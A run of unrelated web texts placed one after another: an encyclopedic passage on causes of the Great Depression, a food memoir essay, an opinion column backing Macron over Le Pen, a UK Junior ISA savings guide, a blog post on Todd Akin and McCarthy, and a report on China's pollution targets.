Richard Timberlake, economist of the free banking school and protégé of Milton Friedman, specifically addressed this stance in his paper Gold Standards and the Real Bills Doctrine in U.S. Monetary Policy, wherein he argued that the Federal Reserve actually had plenty of lee-way under the gold standard, as had been demonstrated by the price stability policy of New York Fed governor Benjamin Strong, between 1923 and 1928. But when Strong died in late 1928, the faction that took over dominance of the Fed advocated a real bills doctrine, where all money had to be represented by physical goods. This policy, forcing a 30% deflation of the dollar that inevitably damaged the US economy, is stated by Timberlake as being arbitrary and avoidable, the existing gold standard having been capable of continuing without it:
This shift in control was decisive. In accordance with the precedent Strong had set in promoting a stable price level policy without heed to any golden fetters, real bills proponents could proceed equally unconstrained in implementing their policy ideal. System policy in 1928–29 consequently shifted from price level stabilization to passive real bills. "The" gold standard remained where it had been—nothing but formal window dressing waiting for an opportune time to reappear.[71]
Financial institution structures [ edit ]
New York stock market index
Economic historians (especially Friedman and Schwartz) emphasize the importance of numerous bank failures. The failures were mostly in rural America. Structural weaknesses in the rural economy made local banks highly vulnerable. Farmers, already deeply in debt, saw farm prices plummet in the late 1920s and their implicit real interest rates on loans skyrocket.
Their land was already over-mortgaged (as a result of the 1919 bubble in land prices), and crop prices were too low to allow them to pay off what they owed. Small banks, especially those tied to the agricultural economy, were in constant crisis in the 1920s with their customers defaulting on loans because of the sudden rise in real interest rates; there was a steady stream of failures among these smaller banks throughout the decade.
The city banks also suffered from structural weaknesses that made them vulnerable to a shock. Some of the nation's largest banks were failing to maintain adequate reserves and were investing heavily in the stock market or making risky loans. Loans to Germany and Latin America by New York City banks were especially risky. In other words, the banking system was not well prepared to absorb the shock of a major recession.
Economists have argued that a liquidity trap might have contributed to bank failures.[72]
Economists and historians debate how much responsibility to assign the Wall Street Crash of 1929. The timing was right; the magnitude of the shock to expectations of future prosperity was high. Most analysts believe the market in 1928–29 was a "bubble" with prices far higher than justified by fundamentals. Economists agree that somehow it shared some blame, but how much no one has estimated. Milton Friedman concluded, "I don't doubt for a moment that the collapse of the stock market in 1929 played a role in the initial recession".[73]
The idea of owning government bonds initially became ideal to investors when Liberty Loan drives encouraged this possession in America during World War I. This strive for dominion persisted into the 1920s. After World War I, the United States became the world's creditor and was depended upon by many foreign nations. "Governments from around the globe looked to Wall Street for loans".[74] Investors then started to depend on these loans for further investments. Chief counsel of the Senate Bank Committee, Ferdinand Pecora, disclosed that National City executives were also dependent on loans from a special bank fund as a safety net for their stock losses while American banker, Albert Wiggin, "made millions selling short his own bank shares".[74]
Economist David Hume stated that the economy became imbalanced as the recession spread on an international scale. The cost of goods remained too high for too long during a time where there was less international trade. Policies set in selected countries to "maintain the value of their currency" resulted in an outcome of bank failures.[75] Governments that continued to follow the gold standard were led into bank failure, meaning that it was the governments and central bankers that contributed as a stepping stool into the depression.
The debate has three sides: one group says the crash caused the depression by drastically lowering expectations about the future and by removing large sums of investment capital; a second group says the economy was slipping since summer 1929 and the crash ratified it; the third group says that in either scenario the crash could not have caused more than a recession. There was a brief recovery in the market into April 1930, but prices then started falling steadily again from there, not reaching a final bottom until July 1932. This was the largest long-term U.S. market decline by any measure. To move from a recession in 1930 to a deep depression in 1931–32, entirely different factors had to be in play.[76]
Protectionism [ edit ]
Protectionism, such as the American Smoot–Hawley Tariff Act, is often indicated as a cause of the Great Depression, with countries enacting protectionist policies yielding a beggar thy neighbor result.[77][78] The Smoot–Hawley Tariff Act was especially harmful to agriculture because it caused farmers to default on their loans. This event may have worsened or even caused the ensuing bank runs in the Midwest and West that caused the collapse of the banking system. A petition signed by over 1,000 economists was presented to the U.S. government warning that the Smoot-Hawley Tariff Act would bring disastrous economic repercussions; however, this did not stop the act from being signed into law.
Governments around the world took various steps into spending less money on foreign goods such as: "imposing tariffs, import quotas, and exchange controls". These restrictions formed a lot of tension between trade nations, causing a major deduction during the depression. Not all countries enforced the same measures of protectionism. Some countries raised tariffs drastically and enforced severe restrictions on foreign exchange transactions, while other countries condensed "trade and exchange restrictions only marginally":[79]
"Countries that remained on the gold standard, keeping currencies fixed, were more likely to restrict foreign trade." These countries "resorted to protectionist policies to strengthen the balance of payments and limit gold losses." They hoped that these restrictions and depletions would hold the economic decline. [79]
Countries that abandoned the gold standard, allowed their currencies to depreciate which caused their Balance of payments to strengthen. It also freed up monetary policy so that central banks could lower interest rates and act as lenders of last resort. They possessed the best policy instruments to fight the Depression and did not need protectionism. [79]
"The length and depth of a country's economic downturn and the timing and vigor of its recovery is related to how long it remained on the gold standard. Countries abandoning the gold standard relatively early experienced relatively mild recessions and early recoveries. In contrast, countries remaining on the gold standard experienced prolonged slumps."[79]
In a 1995 survey of American economic historians, two-thirds agreed that the Smoot-Hawley tariff act at least worsened the Great Depression.[80] However, many economists believe that the Smoot-Hawley tariff act was not a major contributor to the great depression. Economist Paul Krugman holds that, "Where protectionism really mattered was in preventing a recovery in trade when production recovered". He cites a report by Barry Eichengreen and Douglas Irwin: Figure 1 in that report shows trade and production dropping together from 1929 to 1932, but production increasing faster than trade from 1932 to 1937. The authors argue that adherence to the gold standard forced many countries to resort to tariffs, when instead they should have devalued their currencies.[81] Peter Temin argues that contrary the popular argument, the contractionary effect of the tariff was small. He notes that exports were 7 percent of GNP in 1929, they fell by 1.5 percent of 1929 GNP in the next two years and the fall was offset by the increase in domestic demand from tariff.[82]
International debt structure [ edit ]
When the war came to an end in 1918, all European nations that had been allied with the U.S. owed large sums of money to American banks, sums much too large to be repaid out of their shattered treasuries. This is one reason why the Allies had insisted (to the consternation of Woodrow Wilson) on reparation payments from Germany and Austria–Hungary. Reparations, they believed, would provide them with a way to pay off their own debts. However, Germany and Austria-Hungary were themselves in deep economic trouble after the war; they were no more able to pay the reparations than the Allies to pay their debts.
The debtor nations put strong pressure on the U.S. in the 1920s to forgive the debts, or at least reduce them. The American government refused. Instead, U.S. banks began making large loans to the nations of Europe. Thus, debts (and reparations) were being paid only by augmenting old debts and piling up new ones. In the late 1920s, and particularly after the American economy began to weaken after 1929, the European nations found it much more difficult to borrow money from the U.S. At the same time, high U.S. tariffs were making it much more difficult for them to sell their goods in U.S. markets. Without any source of revenue from foreign exchange to repay their loans, they began to default.
Beginning late in the 1920s, European demand for U.S. goods began to decline. That was partly because European industry and agriculture were becoming more productive, and partly because some European nations (most notably Weimar Germany) were suffering serious financial crises and could not afford to buy goods overseas. However, the central issue causing the destabilization of the European economy in the late 1920s was the international debt structure that had emerged in the aftermath of World War I.
The high tariff walls such as the Smoot–Hawley Tariff Act critically impeded the payment of war debts. As a result of high U.S. tariffs, only a sort of cycle kept the reparations and war-debt payments going. During the 1920s, the former allies paid the war-debt installments to the U.S. chiefly with funds obtained from German reparations payments, and Germany was able to make those payments only because of large private loans from the U.S. and Britain. Similarly, U.S. investments abroad provided the dollars, which alone made it possible for foreign nations to buy U.S. exports.
The Smoot-Hawley Tariff Act was instituted by Senator Reed Smoot and Representative Willis C. Hawley, and signed into law by President Hoover, to raise taxes on American imports by about 20 percent during June 1930. This tax, which added to already shrinking income and overproduction in the U.S., only benefitted Americans in having to spend less on foreign goods. In contrast, European trading nations frowned upon this tax increase, particularly since the "United States was an international creditor and exports to the U.S. market were already declining".[79] In response to the Smoot-Hawley Tariff Act, some of America's primary producers and largest trading partner, Canada, chose to seek retribution by increasing the financial value of imported goods favoured by the Americans.
In the scramble for liquidity that followed the 1929 stock market crash, funds flowed back from Europe to America, and Europe's fragile economies crumbled.
By 1931, the world was reeling from the worst depression of recent memory, and the entire structure of reparations and war debts collapsed.
Population dynamics [ edit ]
In 1939, prominent economist Alvin Hansen discussed the decline in population growth in relation to the Depression.[83] The same idea was discussed in a 1978 journal article by Clarence Barber, an economist at the University of Manitoba. Using "a form of the Harrod model" to analyze the Depression, Barber states:
In such a model, one would look for the origins of a serious depression in conditions which produced a decline in Harrod's natural rate of growth, more specifically, in a decline in the rate of population and labour force growth and in the rate of growth of productivity or technical progress, to a level below the warranted rate of growth.[84]
Barber says, while there is "no clear evidence" of a decline in "the rate of growth of productivity" during the 1920s, there is "clear evidence" the population growth rate began to decline during that same period. He argues the decline in population growth rate may have caused a decline in "the natural rate of growth" which was significant enough to cause a serious depression.[84]
Barber says a decline in the population growth rate is likely to affect the demand for housing, and claims this is apparently what happened during the 1920s. He concludes:
the rapid and very large decline in the rate of growth of non-farm households was clearly the major reason for the decline that occurred in residential construction in the United States from 1926 on. And this decline, as Bolch and Pilgrim have claimed, may well have been the most important single factor in turning the 1929 downturn into a major depression.[85]
The decline in housing construction that can be attributed to demographics has been estimated to range from 28% in 1933 to 38% in 1940.[86]
Among the causes of the decline in the population growth rate during the 1920s were a declining birth rate after 1910[87] and reduced immigration. The decline in immigration was largely the result of legislation in the 1920s placing greater restrictions on immigration. In 1921, Congress passed the Emergency Quota Act, followed by the Immigration Act of 1924.
Factors that majorly contributed to the failing of the economy since 1925, was a decrease in both residential and non-residential buildings being constructed. It was the debt as a result of the war, fewer families being formed, and an imbalance of mortgage payments and loans in 1928–29, that mainly contributed to the decline in the number of houses being built. This caused the population growth rate to decelerate.[how?] Though non-residential units continued to be built "at a high rate throughout the decade", the demand for such units was actually very low[67]
Role of economic policy [ edit ]
Calvin Coolidge (1923–29) [ edit ]
There is an ongoing debate between historians as to what extent President Calvin Coolidge's laissez-faire hands-off attitude has contributed to the Great Depression. Despite a growing rate of bank failures he did not heed voices that predicted the lack of banking regulation as potentially dangerous. He did not listen to members of Congress warning that stock speculation had gone too far and he ignored criticisms that workers did not participate sufficiently in the prosperity of the Roaring Twenties.[88]
Leave-it-alone liquidationism (1929–33) [ edit ]
Overview [ edit ]
The Great Depression in an international context.
From the point of view of today's mainstream schools of economic thought, government should strive to keep some broad nominal aggregate on a stable growth path (for proponents of new classical macroeconomics and monetarism, the measure is the nominal money supply; for Keynesian economists it is the nominal aggregate demand itself). During a depression the central bank should pour liquidity into the banking system and the government should cut taxes and accelerate spending in order to keep the nominal money stock and total nominal demand from collapsing.[89]
The United States government and the Federal Reserve did not do that during the 1929‑32 slide into the Great Depression[89] The existence of "liquidationism" played a key part in motivating public policy decisions not to fight the gathering Great Depression. An increasingly common view among economic historians is that the adherence of some Federal Reserve policymakers to the liquidationist thesis led to disastrous consequences.[90] Regarding the policies of President Hoover, economists Barry Eichengreen and J. Bradford DeLong point out that the Hoover administration's fiscal policy was guided by liquidationist economists and policy makers, as Hoover tried to keep the federal budget balanced until 1932, when Hoover lost confidence in his Secretary of the Treasury Andrew Mellon and replaced him.[91][92][93] Hoover wrote in his memoirs he did not side with the liquidationists, but took the side of those in his cabinet with "economic responsibility", his Secretary of Commerce Robert P. Lamont and Secretary of Agriculture Arthur M. Hyde, who advised the President to "use the powers of government to cushion the situation".[94] But at the same time he kept Andrew Mellon as Secretary of the Treasury until February 1932. It was during 1932 that Hoover began to support more aggressive measures to combat the Depression.[95] In his memoirs, President Hoover wrote bitterly about members of his Cabinet who had advised inaction during the downslide into the Great Depression:
The leave-it-alone liquidationists headed by Secretary of the Treasury Mellon... felt that government must keep its hands off and let the slump liquidate itself. Mr. Mellon had only one formula: "Liquidate labor, liquidate stocks, liquidate the farmers, liquidate real estate... It will purge the rottenness out of the system. High costs of living and high living will come down. People will work harder, live a more moral life. Values will be adjusted, and enterprising people will pick up the wrecks from less competent people."[89]
Before the Keynesian Revolution, such a liquidationist theory was a common position for economists to take and was held and advanced by economists like Friedrich Hayek, Lionel Robbins Joseph Schumpeter, Seymour Harris and others.[93] According to the liquidationists a depression is good medicine. The function of a depression is to liquidate failed investments and businesses that have been made obsolete by technological development in order to release factors of production (capital and labor) from unproductive uses. These can then be redeployed in other sectors of the technologically dynamic economy. They asserted that deflationary policy minimized the duration of the Depression of 1920–21 by tolerating liquidation which subsequently created economic growth later in the decade. They pushed for deflationary policies (which were already executed in 1921) which – in their opinion – would assist the release of capital and labor from unproductive activities to lay the groundwork for a new economic boom. The liquidationists argued that even if self-adjustment of the economy took mass bankruptcies, then so be it.[93] Postponing the liquidation process would only magnify the social costs. Schumpeter wrote that it[89]
... leads us to believe that recovery is sound only if it does come of itself. For any revival which is merely due to artificial stimulus leaves part of the work of depressions undone and adds, to an undigested remnant of maladjustment, new maladjustment of its own which has to be liquidated in turn, thus threatening business with another (worse) crisis ahead.
Despite liquidationist expectations, a large proportion of the capital stock was not redeployed and vanished during the first years of the Great Depression. According to a study by Olivier Blanchard and Lawrence Summers, the recession caused a drop of net capital accumulation to pre-1924 levels by 1933.[96]
Criticism [ edit ]
Economists such as John Maynard Keynes and Milton Friedman suggested that the do-nothing policy prescription which resulted from the liquidationist theory contributed to deepening the Great Depression.[91] With the rhetoric of ridicule Keynes tried to discredit the liquidationist view in presenting Hayek, Robbins and Schumpeter as
...austere and puritanical souls [who] regard [the Great Depression]... as an inevitable and a desirable nemesis on so much "overexpansion" as they call it... It would, they feel, be a victory for the mammon of unrighteousness if so much prosperity was not subsequently balanced by universal bankruptcy. We need, they say, what they politely call a 'prolonged liquidation' to put us right. The liquidation, they tell us, is not yet complete. But in time it will be. And when sufficient time has elapsed for the completion of the liquidation, all will be well with us again...
Milton Friedman stated that at the University of Chicago such "dangerous nonsense" was never taught and that he understood why at Harvard —where such nonsense was taught— bright young economists rejected their teachers' macroeconomics, and become Keynesians.[89] He wrote:
I think the Austrian business-cycle theory has done the world a great deal of harm. If you go back to the 1930s, which is a key point, here you had the Austrians sitting in London, Hayek and Lionel Robbins, and saying you just have to let the bottom drop out of the world. You've just got to let it cure itself. You can't do anything about it. You will only make it worse [...] I think by encouraging that kind of do-nothing policy both in Britain and in the United States, they did harm.[91]
Economist Lawrence White, while acknowledging that Hayek and Robbins did not actively oppose the deflationary policy of the early 1930s, nevertheless challenges the argument of Milton Friedman, J. Bradford DeLong et al. that Hayek was a proponent of liquidationism. White argues that the business cycle theory of Hayek and Robbins (which later developed into Austrian business cycle theory in its present-day form) was actually not consistent with a monetary policy which permitted a severe contraction of the money supply. Nevertheless, White says that at the time of the Great Depression Hayek "expressed ambivalence about the shrinking nomimal income and sharp deflation in 1929–32".[97] In a talk in 1975, Hayek admitted the mistake he made over forty years earlier in not opposing the Central Bank's deflationary policy and stated the reason why he had been "ambivalent": "At that time I believed that a process of deflation of some short duration might break the rigidity of wages which I thought was incompatible with a functioning economy."[43] 1979 Hayek strongly criticized the Fed's contractionary monetary policy early in the Depression and its failure to offer banks liquidity:
I agree with Milton Friedman that once the Crash had occurred, the Federal Reserve System pursued a silly deflationary policy. I am not only against inflation but I am also against deflation. So, once again, a badly programmed monetary policy prolonged the depression.[44]
Herbert Hoover (1929–33) [ edit ]
Unemployment rate in the US 1910–60, with the years of the Great Depression (1929–39) highlighted; accurate data begins in 1939.
Economic policy [ edit ]
Historians gave Hoover credit for working tirelessly to combat the depression and noted that he left government prematurely aged. But his policies are rated as simply not far-reaching enough to address the Great Depression. He was prepared to do something, but nowhere near enough.[98] Hoover was no exponent of laissez-faire. But his principal philosophies were voluntarism, self-help, and rugged individualism. He refused direct federal intervention. He believed that government should do more than his immediate predecessors (Warren G. Harding, Calvin Coolidge) believed. But he was not willing to go as far as Franklin D. Roosevelt later did. Therefore, he is described as the "first of the new presidents" and "the last of the old".[99]
Hoover's first measures were based on voluntarism by businesses not to reduce their workforce or cut wages. But businesses had little choice and wages were reduced, workers were laid off, and investments postponed. The Hoover administration extended over $100 million in emergency farm loans and some $915 million in public works projects between 1930 and 1932. Hoover urged bankers to set up the National Credit Corporation so that big banks could help failing banks survive. But bankers were reluctant to invest in failing banks, and the National Credit Corporation did almost nothing to address the problem.[100][101] In 1932 Hoover reluctantly established the Reconstruction Finance Corporation, a Federal agency with the authority to lend up to $2 billion to rescue banks and restore confidence in financial institutions. But $2 billion was not enough to save all the banks, and bank runs and bank failures continued.[102]
Federal spending [ edit ]
Federal spending in millions of dollars (1910–60). The time period of the Hoover administration, the New Deal and World War II are highlighted.
J. Bradford DeLong explained that Hoover would have been a budget cutter in normal times and continuously wanted to balance the budget. Hoover held the line against powerful political forces that sought to increase government spending after the Depression began for fully two and a half years. During the first two years of the Depression (1929 and 1930) Hoover actually achieved budget surpluses of about 0.8% of gross domestic product (GDP). In 1931, when the recession significantly worsened and GDP declined by 15%, the federal budget had only a small deficit of 0.6% of GDP. It was not until 1932 (when GDP declined by 27% compared to 1929-level) that Hoover pushed for measures (Reconstruction Finance Corporation, Federal Home Loan Bank Act, direct loans to fund state Depression relief programs) that increased spending. But at the same time he pushed for the Revenue Act of 1932 that massively increased taxes in order to balance the budget again.[95]
Uncertainty was a major factor, argued by several economists, that contributed to the worsening and length of the depression. It was also said to be responsible "for the initial decline in consumption that marks the" beginning of the Great Depression by economists Paul R. Flacco and Randall E. Parker. Economist Ludwig Lachmann argues that it was pessimism that prevented the recovery and worsening of the depression[103] President Hoover is said to have been blinded from what was right in front of him.
Economist James Deusenberry argues economic imbalance was not only a result of World War I, but also of the structural changes made during the first quarter of the Twentieth Century. He also states the branches of the nation's economy became smaller, there was not much demand for housing, and the stock market crash "had a more direct impact on consumption than any previous financial panic"[104]
Economist William A. Lewis describes the conflict between America and its primary producers:
Misfortunes [of the 1930s] were due principally to the fact that the production of primary commodities after the war was somewhat in excess of demand. It was this which, by keeping the terms of trade unfavourable to primary producers, kept the trade in manufactures so low, to the detriment of some countries as the United Kingdom, even in the twenties, and it was this which pulled the world economy down in the early thirties....If primary commodity markets had not been so insecure the crisis of 1929 would not have become a great depression....It was the violent fall of prices that was deflationary.[105][page needed]
The stock market crash was not the first sign of the Great Depression. "Long before the crash, community banks were failing at the rate of one per day".[74] It was the development of the Federal Reserve System that misled investors in the 1920s into relying on federal banks as a safety net. They were encouraged to continue buying stocks and to overlook any of the fluctuations. Economist Roger Babson tried to warn the investors of the deficiency to come, but was ridiculed even as the economy began to deteriorate during the summer of 1929. While England and Germany struggled under the strain on gold currencies after the war, economists were blinded by an unsustainable 'new economy' they sought to be considerably stable and successful.[74]
Since the United States decided to no longer comply with the gold standard, "the value of the dollar could change freely from day to day".[75] Although this imbalance on an international scale led to crisis, the economy within the nation remained stable.
The depression then affected all nations on an international scale. |
it to be different for my girls. So I crafted a plan full of “should nots” and “would nots.”
I would not discuss diets in front of my daughters, nor would I engage in negative self-talk in their presence. I would not describe foods as good or bad, or judge myself based on what I’d eaten, or not eaten, on a particular day. Tabloids that ran headlines like “Scary Skinny” or used “balloon” as a verb would be banished, along with reality shows built around the idea that it’s impossible to be both heavy and happy.
What’s surprised me, as the girls have gotten older, is the way food has emerged not as the enemy or a battlefield, but as common ground, the place where we have learned to nourish ourselves.
Ask my daughters about their favorite meal and you might hear a story about the salt marshes in Cape Cod, and how, every summer, we gather a crew of family and friends and go clamming. We pile into kayaks and canoes and paddle through the shallow water, past stands of sea grass and over sand bars, looking for the bubbling air holes that are evidence of a colony of steamers below. Lucy, at 10, is an expert digger. My younger daughter, Phoebe, is the clam girl, running across the sand bars holding the big metal bucket with a loop for making sure the clams are big enough to keep.
We gather mussels, steamers, little necks and Quahogs until the tide comes in and, muddy, scratched and ravenous, we know it’s time to drive back home. Clams and clammers get rinsed in the outdoor shower. Then the cooking begins. Clam chowder, clam pizza, linguine with clam sauce, baked stuffed clams, mussels in pepper-spiked tomato sauce, mussels in cream with leeks and sausage; and, best of all, clams on the grill, cooked over a high flame just until they pop open, served with a squirt of lemon juice and a drizzle of butter, the shells scalding hot, the meat and liquor briny and sweet, like a gulp of the ocean, or summer itself.
Food isn’t trouble, it’s holidays, it’s funny stories, it’s seasons. Clams and beach plums are summer; turkey and crispy, lace-edged latkes mean fall; gefilte fish tells us it’s springtime again. Maybe my daughters won’t eat more than the single bite that I’ll insist on, but the finished dish is only part of the point.
When the world begins to do its work and tells my girls that their bodies are imperfect, unacceptable, and that food is the reason, I hope they’ll remember Passover: the kitchen, redolent with the scent of chicken broth, the windows steamy, folk songs playing, my Nanna showing Phoebe and Lucy how to shape the fish into a patty. I hope they’ll think about digging clams, picking beach plums, popping popcorn and baking pies for the local ag fair’s contest, poring over magazines for recipes, then heading out on foot to the farmer’s market or the Reading Terminal to shop. And they’ll know that calories don’t have to be a source of pain or punishment, but can be an occasion for adventure, for love, for happy memories, and for fun.
Jennifer Weiner is a novelist, television producer, and inveterate tweeter and cultural critic. Her next book, “All Fall Down” will be available in June.Macron speaks at a rally in Paris, April 17, 2017. (Reuters photo: Benoit Tessier)
He is the candidate of economic opportunity, and he’s no friend to Putin.
Thus ends the first round of the two-step French presidential election. Beating the expectations of pollsters, centrist Emmanuel Macron eked out a win over Marine Le Pen. The two will now go head-to-head in a winner-take-all runoff on May 7.
With François Fillon (the GOP-equivalent candidate) now defeated, American conservatives might wonder who to support. After all, Macron is a former member of France’s current socialist government, and Le Pen is avowedly pro-Trump.
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The answer: Macron.
First off, Macron’s economic policies are the more conservative. Like Trump, Le Pen supports protectionism and robust protections for the entitlement state, but she also wants expanded welfare benefits, a reduction in France’s already unaffordable retirement age, and the retention of a 35-hour working week. Le Pen claims she will pay for all this with efficiency savings. Good luck. But that’s just the start. Le Pen’s National Front party also wants import tariffs to protect lethargic French industries from competition.
This is socialism. It would mean higher living costs for families, ballooning deficit spending, and more barriers to first-time employment for younger workers. Conversely, Macron has promised reforms to encourage entrepreneurial risk taking and to unshackle private-sector businesses from France’s constricting labor laws. Put simply, Macron is the candidate of economic opportunity; Le Pen is the candidate of special interests. Millennial conservatives have particular reason to support the former, in the sense that their futures depend on creative destruction born of fields such as those in the sharing industry.
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Second, where Le Pen fetishizes national division, Macron speaks of patriotism joined to opportunity. Even as words alone, this is a political narrative that France desperately needs. As Andrew Hussey explains in his 2014 book, The French Intifada, many young French Muslims feel that their citizenry exists on paper only — that when it comes to education, opportunity, and respect, their country has no interest in them. American conservatives should be alarmed by that sentiment. The glory of American patriotism is its combination of shared opportunity and personal responsibility. Indeed, American Muslims’ patriotism is proof that Le Pen is wrong. It shows that where expectations are matched to opportunity, nationalism can be inclusive.
There’s a broader ideological issue in play here. As I wrote yesterday in the Washington Examiner, Le Pen’s obsession with identity politics galvanizes her base but alienates everyone else. Some American conservatives think that Le Pen’s beliefs are similar to Trump’s, but they’re not. Where Trumpism consists of chameleon political expediency, Le Pen-ism is grounded in the purity of sectarian anger. Trump flirts with sectarian rhetoric, but he corrals it to themes of crime, employment, and trade. Le Pen’s identity politics run far deeper. Her speeches are webbed together by a thinly veiled disgust for French citizens of colonial ancestry. It’s a telling differential between Trump and Le Pen. Where candidate Trump pledged to increase social mobility for American minorities, Le Pen uses minorities as a whipping horse to pleasure her base. Earlier this month, Le Pen promised to transfer government funds away from what she described as drug-addled, crime-ridden suburbs and toward rural areas. Regardless, her tone is always clear: The young Muslim men of Clichy-sous-Bois, where riots seized international headlines in 2005, are to be reproached. The empowered pure offer national salvation.
When it comes to U.S. security interests, Le Pen might as well be an American adversary. She wants to abandon NATO and cozy up to Putin.
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This is not to say that France does not need to crack down on criminality and terrorism. It does — urgently. But confronting terrorists and organized crime gangs won’t do much good if the means of doing so drive future generations into those same endeavors.
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Finally, when it comes to U.S. security interests, Le Pen might as well be an American adversary. Yes, she wants to leave the bureaucratic and illiberal European Union. But Le Pen also wants to abandon NATO and cozy up to President Putin. Hers is a pathetic mix of Gaullism and appeasement. Don’t believe me? Read her policy platform and look at this photo.
Macron, however, pledges to improve France’s security and intelligence apparatus. Expect, for example, increased French special-operations deployments alongside U.S. military forces. He has also shown admirable courage in condemning Putin’s harassment. If American conservatives truly care about human freedom and the basic rule of law, their support for Macron must be a given.
This isn’t a complex choice. Neither Le Pen nor Macron is a true conservative, but the latter is far closer to conservatism than the former is. Without Lafayette and France, the United States would probably have died in its infancy. Our close ally deserve better than Le Pen.
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— Tom Rogan is a columnist for Opportunity Lives and National Review Online, a former panelist on The McLaughlin Group, and a senior fellow at the Steamboat Institute. E-mail him at Thomas.RoganE@Gmail.com.
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READ MORE:A new type of tax free investment for children, the Junior ISA, was launched on the 1st of November 2011 to replace the now discontinued Child Trust Fund. Any child born outside of the Child Trust Fund years, that is before September 2002 or after the 3rd of January 2011, will be eligible for a Junior ISA. Although there will be no Government contribution as there was with the Child Trust Fund, the Junior ISA looks like being a great way to give your child a good head start going into adult life.
Before jumping in with both feet and investing your child’s money however you need to consider all of the different types of investment to decide which is the best Junior ISA for your circumstances. Do you want a fixed rate ISA or one where money can be moved freely? Will you be investing a large lump sum or smaller amounts periodically, such as on a monthly basis? Choosing the right type of ISA is important to maximise the investment.
Fixed Rate Junior Cash ISAs
With a fixed rate ISA you will deposit a lump sum with a provider and you will not be able to move it, at least not without penalties, for anywhere between one year and five years. In return you you will get a preferential interest rate. Although the restriction on withdrawing money is not an issue since you cannot withdraw money from a Junior ISA anyway, not being able to transfer to another provider might be. This is because even if interest rates rise and you find you could get a better rate elsewhere, you won’t be able to transfer the money to take advantage of it.
You will not usually be able to add to the initial lump sum deposited into a fixed rate ISA so they are not really appropriate if you are intending to save monthly. Instead, why not start with a variable rate ISA and save thorough the tax year then just before the end of the tax year, transfer the balance to a fixed rate product?
Variable Rate Child Cash ISAs
These are known as “Instant Access” or Easy Access” in the adult ISA world though these names are not really appropriate for Junior ISAs since the funds once paid in cannot be withdrawn until the child reaches eighteen. What they do allow is for funds to be transferred to other providers and for deposits to be made monthly.
There are a couple of things to be wary of however. First, there will sometimes be a minimum monthly deposit required. Second, you may need to have a certain amount in the account in order to receive the headline interest rate. You will need to make sure you check these points, as well as whether there are any transfer fees or penalties payable, before investing.
Investment Junior ISAs
An investment ISA has the potential to produce better yields than a cash ISA over the longer term. As it involves investing your capital in the stock market however, there is increased risk. The rate of growth cannot be fixed as it depends on how the stocks perform and it could even be negative, i.e. you could end up with less money than you originally invested. Unlike the adult equivalent, funds can be transferred from an investment ISA to a cash ISA which offers something of an escape route if the investments are performing badly however there will still be penalties.
Unlike cash ISAs, there will be fees payable in connection with investment ISA. There will be an initial set up fee of between 2% – 5% of the capital you invest and an annual management fee of perhaps 1% to 2% of any profits. The initial set up fee means that an investment ISA will usually only turn a profit if done on a long term basis.Republican Party officials would be delighted to see Todd Akin quietly go away. Apparently, though, the failed far-right Senate candidate doesn’t care – he just keeps talking. Take Akin’s interview with the St. Louis Post-Dispatch, for example.
In a 15-minute telephone interview, the Republican Akin compared his downfall in the 2012 Missouri Senate race to that of former Sen. Joe McCarthy, R-Wis., who in the 1950s was discredited after making allegations that many thought overstated Communist influence in the U.S. government. “I use McCarthy as an example of someone who was assassinated by the media, so he had no credibility,” Akin said, just as he believes he was politically assassinated by “intentional and dishonest” distortions of what he said about rape and pregnancy in 2012.
Right off the bat, let’s note that Akin wasn’t “assassinated by the media,” so much as the media reported what Akin said publicly, which in turn doomed the former congressman’s career. News organizations gave Akin a spotlight; it’s not reporters’ fault that Missouri voters didn’t like what they saw.
But more important is this notion that Akin sees himself as a modern Joseph McCarthy. In most circles, that would be considered an ugly insult, but for the far-right Republican, McCarthy comparisons are apparently some kind of compliment.
What’s especially interesting, though, is just how often this comes up. As we talked about in March, the American mainstream recognized for years the fact that McCarthyism was a dangerous mistake – and the Senate was right to censure McCarthy in 1954.
But as Republican politics moved to the right, the former senator’s witch hunt got a second look by many conservatives, and slowly but surely, McCarthy became a GOP hero again.
In Alabama, for example, Republican Scott Beason, a state senator and congressional candidate, condemned parallels between the Salem Witch Trials and McCarthyism because, in his words, McCarthy ”turned out to be right.”
Meanwhile. i n Congress, Rep. Steve King (R-Iowa) has endorsed bringing back the House Un-American Activities Committee, while Rep. Michele Bachmann (R-Minn.) told msnbc in 2008 that she supports investigations to determine which members of Congress are “pro-America or anti-America.”
A few years ago in Texas, conservative activists rewriting the state’s curriculum recommended telling students that McCarthy was a hero, “ vindicated ” by history.
And just last year, Sen. Ted Cruz (R-Texas) was asked whether McCarthy is someone he personally admired. The senator refused to answerBeijing's Great Hall of the People, which will host China's annual legislative 'twin sessions' until late next week (Image by 中国政府网)
In his address to China’s National People’s Congress on March 5, Premier Li Keqiang called for “heavy blows” to be struck against air and water pollution that have exacted a heavy toll on large swaths of the world's most populous country.
Li cited targets to improve environmental standards across the board, but focused in particular on measures to tackle urban smog that would deliver “good air quality” day readings for 80% of the year.
The targets are part of the forthcoming 13th Five-Year Plan (FYP), a policy blueprint that will shape China’s economic development over the next five years up to 2021.
The premier’s speech was delivered on the opening day of the session and set the tone for discussions that will continue until March 16.
The full list of proposals will not be published until the close of the twin legislative sessions. However, Li’s speech has already indicated that the government will limit factory emissions of tiny harmful particulate matter (PM2.5) - a major cause of air pollution - down by 25%.
This is the first time in the China’s history that a specific PM2.5 target has been included in a FYP.
The other main targets revealed in the government’s work report include: to reduce of emissions from coal burning industries and vehicles; to bolster cleaner and more efficient use of coal; to promote the use of electricity and natural gas in place of coal; support for wind, solar and bio power sectors; an increase in the proportion of clean energy; encourage the use of waste straw as a resource; a reduction in-field burning; and implementation of control measures to deal with air pollution.
Professor Hu Angang of Tsinghua University’s School of Public Policy and Management said that the 13th Five-Year Plan will provide a guide for how ‘green development’ will be implemented, and how it will align with economic growth.
“Achieving green growth means reducing energy and resource intensity and decoupling the emissions of key pollutants from economic growth and urbanisation,” he said.
Inefficiency snuffed out
Li spoke of recent efforts to restructure China’s economy. Since the implementation of the Five-Year Plan, the service industry has grown considerably, energy intensity per unit of GDP has fallen by 18.2%; and emissions of key pollutants have dropped by over 12%.
By 2020, he said, the intensity of water use per unit of GDP will fall by 23%, energy intensity by a further 15%, and carbon intensity by 18%.
The premier also said that China is addressing over-production in its energy intensive industries, such as construction and manufacturing, through corporate restructuring (the details of which remain undisclosed).
In the last three years, the closure of inefficient firms has removed 90 million tonnes of steel production, 230 million tonnes of concrete production, over 76 million tonnes of plate glass, and 1 million tonnes of aluminium from China’s bloated manufacturing sector.
In China, local governments have traditionally had three functions: to manage public services; social welfare; and market regulations. A fourth important function is being added to that list, that of environmental protection.
